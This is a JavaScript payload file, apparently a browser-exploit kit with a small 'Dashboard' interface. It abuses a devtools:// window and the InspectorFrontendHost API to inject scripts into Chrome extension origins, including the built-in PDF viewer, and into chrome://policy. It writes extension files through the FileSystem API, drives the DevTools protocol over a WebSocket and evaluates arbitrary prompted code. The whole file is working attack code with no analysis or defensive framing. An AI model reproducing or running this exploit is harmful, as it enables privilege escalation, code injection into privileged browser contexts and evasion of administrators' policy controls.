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payload.mjs
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(function () {
if (!opener) {
opener = window;
}
// alert(origin);
// window.w = w;
// })
const w = window.opener.open("devtools://devtools/bundled/devtools_app.html");
window.opener.close();
w.addEventListener("load", async () => {
if (!w.DevToolsAPI) {
console.log("reloading");
w.opener = null;
w.location.reload();
}
await sleep(500);
console.log("Got DevToolsAPI object from opened window:", w.DevToolsAPI);
exploit(w);
});
window.w = w;
function exploit(w) {
function ui() {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai";
var globalUID = 0;
let globalMap = [];
function payload_swamp(w, d) {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string
const mojoURL = "chrome://resources/mojo/mojo/public/js/bindings.js";
console.log('hi');
if (location.origin.includes("chrome-extension://" + pdfId)) {
w.close();
chrome.tabs.getCurrent(function (info) {
chrome.windows.create({
setSelfAsOpener: true,
url: mojoURL
}, function (win) {
const r = win.tabs[0].id;
chrome.tabs.executeScript(r, { code: `location.href = \"javascript:${atob('%%CHROMEPAYLOAD%%')}\"` });
})
})
return;
}
// console.log(d);
// w.setTimeout(function() {
const blob_url = new Blob(["alert(1)"], { type: "text/html" });
w.webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, async function (fs) {
function removeFile(file) {
return new Promise(function (resolve, reject) {
fs.root.getFile(file, { create: true }, function (entry) {
entry.remove(resolve);
})
});
}
function writeFile(file, data) {
return new Promise((resolve, reject) => {
fs.root.getFile(file, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(file, { create: true }, function (entry) {
entry.createWriter(function (writer) {
writer.write(new Blob([data]));
resolve(entry.toURL());
})
})
})
})
})
};
if (d.cleanup) {
console.log("cleaning up");
debugger;
await removeFile('index.js');
await removeFile('index.html');
alert("Cleaned up successfully!");
cleanup();
w.close();
return;
}
await writeFile('index.js', atob(`%%EXTJS%%`))
const url = await writeFile('index.html', `${atob('%%EXTHTML%%')}<script src="./index.js" ></script>`);
w.chrome.tabs.create({ url });
w.close();
cleanup();
});
// }, 5000);
}
document.open();
document.write(atob(`%%HTMLENTRY%%`));
document.querySelector('#activate').onclick = function () {
dbgext(false, pdfId);
}
onunload = function () {
while (true);
}
document.close();
document.title = "Dashboard";
document.querySelector('#activate2').onclick = function (ev) {
function xd(w) {
w.close();
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string
const mojoURL = "chrome://resources/mojo/mojo/public/js/bindings.js";
chrome.tabs.getCurrent(function (tab) {
console.log(tab);
chrome.windows.create({ url: mojoURL, setSelfAsOpener: true }, function (info) {
async function createAndWriteFile() {
function writeFile(filename, content) {
return new Promise((resolve) => {
webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, function (fs) {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.createWriter(function (writer) {
writer.write(new Blob([content]))
writer.onwriteend = function () {
resolve(entry.toURL());
}
})
})
})
})
})
})
}
const htmlFile = `<html>
<head></head><body><iframe src="blob:chrome://policy/f6e82603-005a-40f0-a200-231bcf14eca4"></iframe>
</html>
`
// alert(url);
opener.postMessage({ url: URL.createObjectURL(new Blob([htmlFile], {type: "text/html"})) }, '*');
setTimeout(function () {
close();
}, 800);
}
chrome.tabs.executeScript(info.tabs[0].id, { code: `(${createAndWriteFile.toString()})()` });
function m2(url) {
// alert(url);
onmessage = function (data) {
if (data.data.type === "ack") {
// chrome.tabs.getCurrent(function (tab) {
// alert("navigating");
chrome.tabs.update(tab.id, { url })
// })
}
}
top.postMessage({ type: 'acc' }, '*');
}
onmessage = function (dat) {
if (dat.data.url) {
m2(dat.data.url);
}
};
})
})
}
dbgext(false, pdfId, xd.toString());
}
document.querySelector('#updater').onclick = function (ev) {
onunload = null;
const ws = new WebSocket("ws://%%updaterurl%%");
ws.onopen = function () {
ws.onmessage = function (ev) {
const received = JSON.parse(ev.data);
const savedURL = received.params.request.url;
ws.close();
const w = open('', '_blank');
console.log(savedURL);
w.eval(`setTimeout(function () {opener.open(atob("${btoa(savedURL)}"), '_blank'); window.close()}, 500);`);
setTimeout(() => { location.reload() });
}
ws.send(JSON.stringify({
method: "Target.setDiscoverTargets",
id: 999,
params: {}
}));
}
}
onmessage = function (d) {
if (d.data.type === "acc") {
onunload = function () { while (true); };
d.source.postMessage({ type: "ack" }, '*');
};
if (!globalMap[d.data.uid]) return;
for (const frame of globalMap) {
if (!frame) continue;
if (frame.idx === d.data.uid) {
frame.remove();
delete globalMap[globalMap.indexOf(frame)];
return;
}
}
}
function dbgext(cleanup, id, payload) {
let x = id;
while (!x) {
x = prompt('Extension id?');
if (x === "cancel") {
return;
}
}
let path = 'manifest.json';
let is_pdf = false;
let injected = payload ?? payload_swamp.toString();
if (x === pdfId) {
path = "index.html"; // pdf viewer hack
is_pdf = true;
const b = prompt("code to execute!");
if (!b) return;
injected = injected.replace('%%CHROMEPAYLOAD%%', btoa(b));
InspectorFrontendHost.setInjectedScriptForOrigin('chrome://policy', b+'//');
}
const URL_1 = `chrome-extension://${x ??
alert("NOTREACHED")}/${path}`;
InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/${path}'); w.onload = function () {(${injected})(w, data.data)} }//`);
const ifr = document.createElement("iframe");
ifr.src = URL_1;
document.body.appendChild(ifr);
const ifrid = globalMap.push(ifr) - 1;
ifr.idx = ifrid;
ifr.onload = function () {
ifr.contentWindow.postMessage({
type: "uidpass", passcode:
ifrid,
cleanup: cleanup
}, '*');
// console.log('hi');
}
// alert(1);
}
document.querySelector('#extdbg').onclick = function () {
dbgext(false);
}
document.querySelector('#cleanup').onclick = function () {
dbgext(true);
}
document.querySelector('#devdbg').onclick = function () {
var l_canceled = false;
const id = setTimeout(function m() {
if (l_canceled) return;
(new Function(prompt("Evaluate script! (type 'cancel' to cancel)")))();
if (!l_canceled) setTimeout(m, 0);
clearTimeout(id);
});
Object.defineProperty(window, 'cancel', {
get: function () {
l_canceled = true;
}, configurable: true
})
return;
}
console.log(globalMap);
}
w.eval(`(${ui.toString()})()`);
window.close();
}
function sleep(ms) {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}
})